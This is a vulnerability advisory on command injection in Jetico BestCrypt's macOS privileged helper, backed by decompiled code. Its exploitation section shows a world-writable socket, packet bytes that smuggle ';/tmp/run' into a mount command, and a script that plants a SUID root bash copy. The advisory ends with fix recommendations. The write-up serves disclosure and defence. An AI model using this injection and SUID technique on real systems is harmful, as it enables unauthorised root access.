macOS Jetico Bestcrypt Local Privilege Escalation via Command Injection
Summary
A local privilege escalation was identified in a privileged helper service, enabling arbitrary command execution as root.
Details
The Jetico BestCrypt application, responsible for Endpoint Data Protection, Encryption, and Data Wiping, installs a module named com.jetico.Bestcrypt.helper, which performs various operations such as mounting volumes or opening block devices. This service runs with root privileges, and a privilege escalation opportunity was identified via command injection, allowing arbitrary commands to be executed in a high-privilege context.
com.jetico.Bestcrypt.helper
By analyzing the Launch Daemon PLIST for the com.jetico.Bestcrypt.helper service, several important aspects can be observed:
The application does not expose a named Mach service for inter-process communication (IPC); instead, it uses a Unix domain socket located at /var/run/com.jetico.BestCrypt.helper.
The socket permissions are set to 438 (0666), allowing any local user to initiate a connection to the service.
If client authentication is not properly enforced (e.g., using getsockopt with SO_PEERCRED to validate the UID/GID of the connecting process), this configuration could enable unauthorized access to a privileged service.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.jetico.BestCrypt.helper</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Sockets</key>
<dict>
<key>BestCrypt</key>
<dict>
<key>SockPathMode</key>
<integer>438</integer>
<key>SockPathName</key>
<string>/var/run/com.jetico.BestCrypt.helper</string>
</dict>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.jetico.BestCrypt.helper</string>
</array>
</dict>
</plist>
|
Reverse Engineering
The main function is responsible for installing the bcrypt kernel extension (kext). It then starts the service by invoking the startServer function, which initializes the Unix socket. After that, the function _main.cold.1 is called to handle incoming client connections and process the received buffers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| 100004d7c int64_t _main()
100004d7c {
100004d7c int64_t rax = *(uint64_t*)___stack_chk_guard;
100004d9c _system("/etc/bcrypt stop");
100004da8 _system("/etc/bcrypt start");
100004db4 int32_t rax_1 = startServer("/var/run/com.jetico.BestCrypt.he…");
100004dbb void var_84;
100004dbb struct sockaddr var_80[0x7];
100004dbb
100004dbb if (rax_1 >= 0)
100004dd5 _main.cold.1(&var_80, &var_84, rax_1);
100004dbb else
100004dc4 logError("Unable to start helper");
100004dc4
100004de8 if (*(uint64_t*)___stack_chk_guard == rax)
100004df8 return 1;
100004df8
100004df8 ___stack_chk_fail();
100004df8 /* no return */
100004d7c }
|
Within _main.cold.1, the accept function is called, and the incoming connection is passed to the handleCommand() function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
100006f32 int64_t _main.cold.1(struct sockaddr* arg1, int32_t* arg2, int32_t arg3)
100006f32 {
100006f32 int64_t rax = *(uint64_t*)___stack_chk_guard;
100006f5a *(uint32_t*)arg2 = 0x6a;
100006f6e int32_t socket_1 = _accept(arg3, arg1, arg2);
100006f6e
100006f75 if (socket_1 >= 0)
100006f75 {
100006f77 int32_t socket = socket_1;
100006fd8 int32_t i;
100006fd8
100006fd8 do
100006fd8 {
100006f90 _printf("bcrypt_helper - %s\n", "accepted connection");
100006fa0 _syslog(5, "bcrypt_helper - %s\n", "accepted connection");
100006faf BCHelperAnswer answer;
100006faf handleCommand(socket, &answer);
100006fb7 _close(socket);
100006fbc *(uint32_t*)arg2 = 0x6a;
100006fce i = _accept(arg3, arg1, arg2);
100006fd3 socket = i;
100006fd8 } while (i >= 0);
100006f75 }
100006f75
100006fe1 logError("accept failed");
100006fec _close(arg3);
100006ff8 int64_t result = *(uint64_t*)___stack_chk_guard;
100006ff8
100006fff if (result == rax)
100007013 return result;
100007013
100007013 ___stack_chk_fail();
100007013 /* no return */
100006f32 }
|
The handleCommand function can be summarized as follows:
First, it receives a 12-byte buffer (0x0c) representing the packet header, which specifies the action to be performed.
For example, the value 0xbc000106 triggers the volume mounting routine.
Next, during the second recv call, the server reads the body — that is, the payload sent by the client, which contains the necessary parameters for the requested action.
In the case of mounting a volume, this payload would specify which volume should be mounted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
| 100004c5c uint64_t handleCommand(int32_t socket, BCHelperAnswer& answer)
100004c5c {
100004c5c int64_t rax = *(uint64_t*)___stack_chk_guard;
100004c87 _bzero(answer, 0x210);
100004c96 *(uint64_t*)answer = -0x43ffeffefffffdf0;
100004ca7 int32_t buffer;
100004ca7 int64_t length;
100004ca7 BCHelperAnswer* rsi_1;
100004ca7 length = _recv(socket, &buffer, 0xc, 0);
100004cb0 int32_t rbx;
100004cb0
100004cb0 if (length != 0xc)
100004cb0 {
100004d5c handleCommand.cold.3(answer, rsi_1);
100004d61 rbx = -0x43ffefff;
100004cb0 }
100004cb0 else
100004cb0 {
100004cc9 void var_48;
100004cc9 BCHelperFileData* buffer_2 =
100004cc9 &var_48 - (((uint64_t)(buffer + 1) + 0xf) & 0xfffffffffffffff0);
100004cda int64_t length_2;
100004cda BCHelperAnswer* rsi_3;
100004cda length_2 = _recv(socket, buffer_2, (uint64_t)buffer, 0);
100004cea int32_t var_3c;
100004cea
100004cea if (length_2 < 0 || length_2 != (uint64_t)buffer)
100004cea {
100004d2d handleCommand.cold.1(answer, rsi_3);
100004d32 rbx = -0x43ffefff;
100004cea }
100004cea else if (var_3c == 0xbc000106)
100004cf4 {
100004d17 rbx = mountVolume(buffer_2, answer);
100004d19 *(uint32_t*)((char*)answer + 4) = rbx;
100004d23 sendAnswer(socket, answer);
100004cf4 }
100004cf4 else if (var_3c != 0xbc000101)
100004cfb {
100004d6b handleCommand.cold.2(answer, rsi_3);
100004d70 rbx = -0x43ffefff;
100004d19 *(uint32_t*)((char*)answer + 4) = rbx;
100004d23 sendAnswer(socket, answer);
100004cfb }
100004cfb else
100004d08 rbx = openBlockDevice(buffer_2, socket);
100004cb0 }
100004cb0
100004d48 if (*(uint64_t*)___stack_chk_guard == rax)
100004d77 return (uint64_t)rbx;
100004d77
100004d77 ___stack_chk_fail();
100004d77 /* no return */
100004c5c }
|
The handleCommand performs the following actions:
It takes the received payload and formats a command string, either as "diskutil mount /dev/%s" or "diskutil mount -mountPoint \"%s\" /dev/%s", depending on the context.
The formatted command is then executed via system() without any form of sanitization.
This means an attacker could inject arbitrary commands beyond diskutil, leading to command injection in a privileged context.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| 100004ab3 uint64_t mountVolume(BCMountVolumeData* buffer_2, BCHelperAnswer& answer)
100004ab3 {
100004ab3 int64_t rax = *(uint64_t*)___stack_chk_guard;
100004af1 _printf("bcrypt_helper - %s\n", "handle mount volume");
100004b03 BCHelperAnswer* rsi =
100004b03 _syslog(5, "bcrypt_helper - %s\n", "handle mount volume");
100004b0b uint64_t rax_3;
100004b0b
100004b0b if (buffer_2)
100004b14 rax_3 = _strlen(buffer_2);
.
.
.
<SNIP>
.
.
.
100004b3f if (!*(uint8_t*)((char*)buffer_2 + 0x10))
100004b7b _snprintf(&var_238, 0x200, "diskutil mount /dev/%s", buffer_2);
100004b3f else
100004b5c _snprintf(&var_238, 0x200, "diskutil mount -mountPoint \"%s\" /dev/%s",
100004b5c (char*)buffer_2 + 0x10, buffer_2);
100004b5c
100004b96 _printf("bcrypt_helper - %s\n", &var_238);
100004ba8 _syslog(5, "bcrypt_helper - %s\n", &var_238);
100004bb0 int32_t rax_8 = _system(&var_238);
100004bb5 rcx_3 = -0x43fff000;
|
Exploitation
The following demonstrates that command injection was indeed possible, resulting in code execution as root. For demonstration purposes, /tmp/run is a script that copies the bash binary, sets the SUID bit, and thereby allows any user to execute it with the -p flag. As a result, the process runs with an effective user ID (EUID) of 0, effectively granting root privileges.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ~ % cat /tmp/run
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
~ % ls -l /private/tmp/rootbash
ls: /private/tmp/rootbash: No such file or directory
~ % python3 Exploit.py
[+] msg1: `%s`
b'\x10\x00\x00\x00\x06\x01\x00\xbcAAAA'
[+] msg2: `%s`
b't;/tmp/run\x00\x00\x00\x00\x00\x00'
~ % ls -l /private/tmp/rootbash
-r-sr-xr-x 1 root wheel 1326576 Jul 3 21:28 /private/tmp/rootbash
~ % whoami
garrido
~ % /private/tmp/rootbash -p
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
rootbash-3.2# whoami
root
rootbash-3.2#
|
Upon reviewing the system logs, we observed that the com.jetico.BestCrypt.helper service accepted the connection and executed the ‘mount volume’ operation, which contained our malicious command.
1
2
3
4
5
| sh-3.2# log stream --style syslog --predicate 'eventMessage contains[c] "bcrypt_helper"'
Filtering the log data using "composedMessage CONTAINS[c] "bcrypt_helper""
Timestamp (process)[PID]
2025-07-03 21:28:28.092495-0400 localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - accepted connection
2025-07-03 21:28:28.092802-0400 localhost com.jetico.BestCrypt.helper[91110]: bcrypt_helper - handle mount volume
|
Recommendations
- Restrict Socket Permissions
Ensure that the Unix socket located at /var/run/com.jetico.BestCrypt.helper is not world-accessible:
Change permissions from 0666 to a more restrictive mode, such as 0600 or 0660.
Set the socket owner and group to a dedicated system user and/or group that only authorized processes belong to.
- Authenticate Clients Explicitly
Implement client authentication before processing any commands:
- Use
getpeereid() (on macOS/BSD) or getsockopt(..., SO_PEERCRED, ...) (on Linux) to retrieve the connecting client’s UID/GID.
- Validate and Sanitize All Input
Strictly validate any input fields (such as volume names, paths, or commands).
Avoid directly passing client-supplied data to shell commands or interpreters.
References